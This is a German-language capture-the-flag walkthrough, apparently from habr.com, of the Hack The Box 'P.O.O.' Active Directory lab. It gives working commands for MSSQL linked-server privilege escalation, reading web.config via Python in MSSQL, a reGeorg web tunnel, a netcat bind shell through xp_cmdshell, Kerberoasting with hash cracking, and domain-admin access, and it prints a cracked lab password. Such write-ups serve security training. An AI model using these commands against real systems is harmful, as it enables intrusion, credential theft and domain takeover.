In diesem Artikel werden wir nicht einfach nur ein Gerät, sondern ein ganzes Mini-Labor von der Plattform aus betrachten. .
Wie in der Beschreibung gesagt, ist P.O.O. dafür gedacht, Fähigkeiten in allen Phasen von Angriffen in einer kleinen Active Directory-Umgebung zu testen. Das Ziel besteht darin, einen verfügbaren Host zu kompromittieren, Privilegien zu erhöhen und letztendlich die gesamte Domäne zu kompromittieren, während dabei 5 Flaggen gesammelt werden.
Der Zugang zum Labor erfolgt über VPN. Es wird empfohlen, sich nicht von einem Arbeitscomputer oder einem Host mit wichtigen Daten zu verbinden, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas Erfahrung im Bereich IT-Sicherheit haben 🙂.
Organisatorische Informationen
Um Ihnen zu ermöglichen, über neue Artikel, Software und andere Informationen informiert zu bleiben, habe ich und im Bereich der IuK-Sicherheit. Auch Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen .
Alle Informationen werden ausschließlich zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Nutzung von Wissen und Methoden entstehen, die aus der Untersuchung dieses Dokuments gewonnen wurden.
Intro
Dieses Endgame besteht aus zwei Maschinen und enthält 5 Flaggen.
Es wird ebenfalls eine Beschreibung sowie die Adresse des verfügbaren Hosts angegeben.
Lass uns anfangen!
Recon-Flagge
Diese Maschine hat die IP-Adresse 10.13.38.11, die ich in /etc/hosts einfüge.
10.13.38.11 poo.htb
Zuerst scannen wir die offenen Ports. Da es lange dauert, alle Ports mit nmap zu scannen, werde ich dies zunächst mithilfe von masscan tun. Wir scannen alle TCP- und UDP-Ports mit der Schnittstelle tun0 mit einer Geschwindigkeit von 500 Paketen pro Sekunde.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Um detailliertere Informationen zu den Diensten, die auf den Ports laufen, zu erhalten, starten wir einen Scan mit der Option -A.
nmap -A poo.htb -p80,1433 
So haben wir die Dienste IIS und MSSQL. Dabei erfahren wir den tatsächlichen DNS-Namen der Domäne und des Computers. Auf dem Webserver werden wir mit der IIS-Startseite empfangen.
Lass uns die Verzeichnisse durchgehen. Ich verwende dazu gobuster. In den Parametern geben wir die Anzahl der Threads 128 (-t), die URL (-u), das Wörterbuch (-w) und die interessierenden Erweiterungen (-x) an.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
So haben wir HTTP-Authentifizierung für das Verzeichnis /admin sowie eine zugängliche Datei des Speicherorts des Desktop-Dienstes .DS_Store. .DS_Store sind Dateien, in denen Benutzeranpassungen für Ordner gespeichert werden, wie z.B. die Dateiliste, die Position von Symbolen und das ausgewählte Hintergrundbild. Solch eine Datei kann in das Verzeichnis des Webservers von Webentwicklern gelangen. So können wir Informationen über den Inhalt des Katalogs erhalten. Dafür kann man verwenden: .
python3 dsstore_crawler.py -i http://poo.htb/ 
Wir erhalten den Inhalt des Verzeichnisses. Das Interessanteste hier ist das Verzeichnis /dev, aus dem wir in zwei Zweigen die Quellcodes und die db-Dateien einsehen können. Wir können jedoch die ersten 6 Zeichen der Dateinamen und Verzeichnisse sehen, wenn der Dienst anfällig für IIS ShortName ist. Überprüfen Sie das Vorhandensein dieser Verwundbarkeit mit Hilfe von .
Und wir finden eine Textdatei, die mit „poo_co“ beginnt. Ohne zu wissen, was ich als Nächstes tun soll, habe ich einfach alle im Verzeichnis vorkommenden Wörter gewählt, die mit „co“ beginnen.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtUnd wir durchsuchen die Liste mit wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Und wir finden ein passendes Wort! Wir schauen uns diese Datei an und speichern die Anmeldedaten (laut dem Parameter DBNAME stammen sie von MSSQL).
Wir geben das Flag ab und wir kommen um 20% voran.
Huh flag
Wir verbinden uns mit MSSQL, ich benutze DBeaver.
In dieser Datenbank finden wir nichts Interessantes, lassen Sie uns einen SQL-Editor erstellen und prüfen, welche Benutzer es gibt.
SELECT name FROM master..syslogins; 
Wir haben zwei Benutzer. Lassen Sie uns die Privilegien überprüfen.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Damit haben wir keine Privilegien. Lassen Sie uns die verbundenen Server überprüfen, über diese Methode habe ich ausführlich geschrieben. .
SELECT * FROM master..sysservers; 
So finden wir einen weiteren SQL Server. Lassen Sie uns die Ausführung von Abfragen auf diesem Server mit openquery() überprüfen.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Und wir können sogar eine Abfragebaum erstellen.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Das Problem ist, dass wenn wir eine Abfrage auf dem verbundenen Server ausführen, die Abfrage im Kontext eines anderen Benutzers ausgeführt wird! Lassen Sie uns ansehen, in welchem Kontext wir auf dem verbundenen Server arbeiten.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Und jetzt lassen Sie uns prüfen, in welchem Kontext die Abfragen vom verbundenen Server auf unseren ausgeführt werden!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Somit ist es der DBO-Kontext, der über alle Privilegien verfügen sollte. Lassen Sie uns die Privilegien im Fall einer Anfrage vom verbundenen Server überprüfen.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Wie man sehen kann, haben wir alle Berechtigungen! Lassen Sie uns so unseren eigenen Administrator erstellen. Aber über openquery werden wir nicht zugelassen, lass es uns über EXECUTE AT machen.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Und jetzt melden wir uns mit den Anmeldedaten des neuen Benutzers an und beobachten die neue Datenbank flag.
Wir geben dieses Flag ab und machen weiter.
BackTrack-Flag
Wir bekommen eine Shell mithilfe von MSSQL, ich benutze mssqlclient aus dem Impacket-Paket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Wir müssen Passwörter beschaffen, und das erste, was wir bereits gesehen haben, ist die Website. Daher benötigen wir die Konfiguration des Webservers (es scheint, dass die Firewall funktioniert, also können wir keine komfortable Shell werfen).
Aber der Zugriff ist verweigert. Obwohl wir eine Datei aus MSSQL lesen können, müssen wir nur wissen, welche Programmiersprachen eingestellt sind. Und im MSSQL-Verzeichnis erfahren wir, dass Python verfügbar ist.
Dann gibt es keine Probleme, die Datei web.config zu lesen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Mit den gefundenen Anmeldedaten gehen wir zu /admin und holen uns das Flag.
Foothold-Flag
Tatsächlich gibt es einige Unannehmlichkeiten bei der Verwendung der Firewall, aber wenn wir die Netzwerkeinstellungen überprüfen, bemerken wir, dass auch IPv6-Proxys verwendet werden!
Fügen wir diese Adresse in /etc/hosts hinzu.
dead:babe::1001 poo6.htb
Lassen Sie uns den Host nochmals scannen, aber jetzt über das IPv6-Protokoll.
Und über IPv6 ist der WinRM-Dienst verfügbar. Lassen Sie uns mit den gefundenen Anmeldedaten verbinden.
Auf dem Desktop befindet sich ein Flag, wir geben es ab.
P00ned-Flag
Nachdem wir Reconnaissance auf dem Host durchgeführt haben mit finden wir nichts Besonderes. Daher entschlossen wir uns, erneut nach Anmeldedaten zu suchen (darüber habe ich auch geschrieben ). Aber ich konnte nicht alle SPNs aus dem System über WinRM abrufen.
setspn.exe -T intranet.poo -Q *
/* 
Lassen Sie uns den Befehl über MSSQL ausführen.
Mit der angegebenen Methode erhalten wir die SPN der Benutzer p00_hr und p00_adm, was bedeutet, dass sie anfällig für Angriffe wie Kerberoasting sind. Kurz gesagt, wir können ihre Passwort-Hashes erhalten.
Zuerst müssen wir eine stabile Shell im Namen des MSSQL-Benutzers erhalten. Da unser Zugang jedoch eingeschränkt ist, haben wir nur über die Ports 80 und 1433 Verbindung zum Host. Aber es gibt die Möglichkeit, den Datenverkehr über den Port 80 zu tunneln! Dafür nutzen wir . Wir laden die Datei tunnel.aspx in das Stammverzeichnis des Webservers hoch – C:inetpubwwwroot.
Beim Versuch, darauf zuzugreifen, erhalten wir jedoch den Fehler 404. Das bedeutet, dass Dateien mit der Endung *.aspx nicht ausgeführt werden. Um die Dateien mit dieser Erweiterung ausführbar zu machen, installieren wir ASP.NET 4.5 folgendermaßen.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
Und jetzt, wenn wir auf tunnel.aspx zugreifen, erhalten wir die Antwort, dass alles betriebsbereit ist.
Lassen Sie uns den Client-Teil der Anwendung starten, der den Datenverkehr weiterleiten wird. Wir leiten den gesamten Datenverkehr vom Port 5432 zum Server um.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Und wir verwenden proxychains, um den Datenverkehr aller Anwendungen über unseren Proxy zu senden. Fügen Sie diesen Proxy in die Konfigurationsdatei /etc/proxychains.conf ein.
Jetzt laden wir das Programm , mit dem wir eine stabile Bind-Shell erstellen, und das Skript , mit dem wir den Kerberoasting-Angriff durchführen.
Jetzt starten wir über MSSQL den Listener.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Und wir verbinden uns über unseren Proxy.
proxychains rlwrap nc poo.htb 4321 
Und lassen Sie uns die Hashes erhalten.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Als nächstes müssen wir diese Hashes knacken. Da die Passwörter im rockyou-Wörterbuch nicht vorhanden waren, habe ich ALLE Passwortwörterbücher aus Seclists verwendet. Zum Knacken verwenden wir hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceUnd wir finden beide Passwörter, das erste im Wörterbuch dutch_passwordlist.txt und das zweite in Keyboard-Combinations.txt.
Und so haben wir drei Benutzer, also gehen wir zum Domänencontroller. Zuerst erfahren wir seine Adresse.
Ausgezeichnet, wir haben die IP-Adresse des Domaincontrollers ermittelt. Lassen Sie uns alle Benutzer der Domain kennenlernen und herausfinden, wer von ihnen Administrator ist. Dafür laden wir das Skript PowerView.ps1 herunter. Dann verbinden wir uns mit evil-winrm und geben im Parameter -s das Verzeichnis des Skripts an. Anschließend laden wir einfach das PowerView-Skript hoch.
Jetzt stehen uns alle Funktionen zur Verfügung. Der Benutzer p00_adm scheint privilegiert zu sein, also arbeiten wir in seinem Kontext. Wir erstellen ein PSCredential-Objekt für diesen Benutzer.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassJetzt werden alle PowerShell-Befehle, bei denen wir Creds angeben, im Namen von p00_adm ausgeführt. Lassen Sie uns eine Liste der Benutzer und das Attribut AdminCount ausgeben.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Und so ist unser Benutzer tatsächlich privilegiert. Lassen Sie uns sehen, in welchen Gruppen er Mitglied ist.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Wir bestätigen endgültig, dass der Benutzer Administrator der Domain ist. Das gibt ihm das Recht auf Remote-Login zum Domaincontroller. Lassen Sie uns versuchen, über WinRM einzuloggen, indem wir unseren Tunnel verwenden. Ich wurde von den Fehlern, die reGeorg bei der Verwendung von evil-winrm ausgegeben hat, irritiert.
Dann nutzen wir ein anderes, einfacheres, um uns mit WinRM zu verbinden. Öffnen und ändern wir die Verbindungsparameter.
Wir versuchen uns zu verbinden, und wir sind im System.
Aber es gibt kein Flag. Lassen Sie uns den Benutzer überprüfen und die Desktops ansehen.
Bei mr3ks finden wir das Flag und das Labor ist zu 100% bestanden.
Das ist alles. Als Rückmeldung kommentieren Sie bitte, ob Sie etwas Neues aus diesem Artikel gelernt haben und ob er für Sie nützlich war.
Sie können sich uns anschließen in . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Gemeinschaft aufbauen, in der Menschen aus verschiedenen IT-Bereichen zusammenkommen, damit wir uns gegenseitig bei allen Fragen zur IT und Informationssicherheit helfen können.
Quelle: habr.com
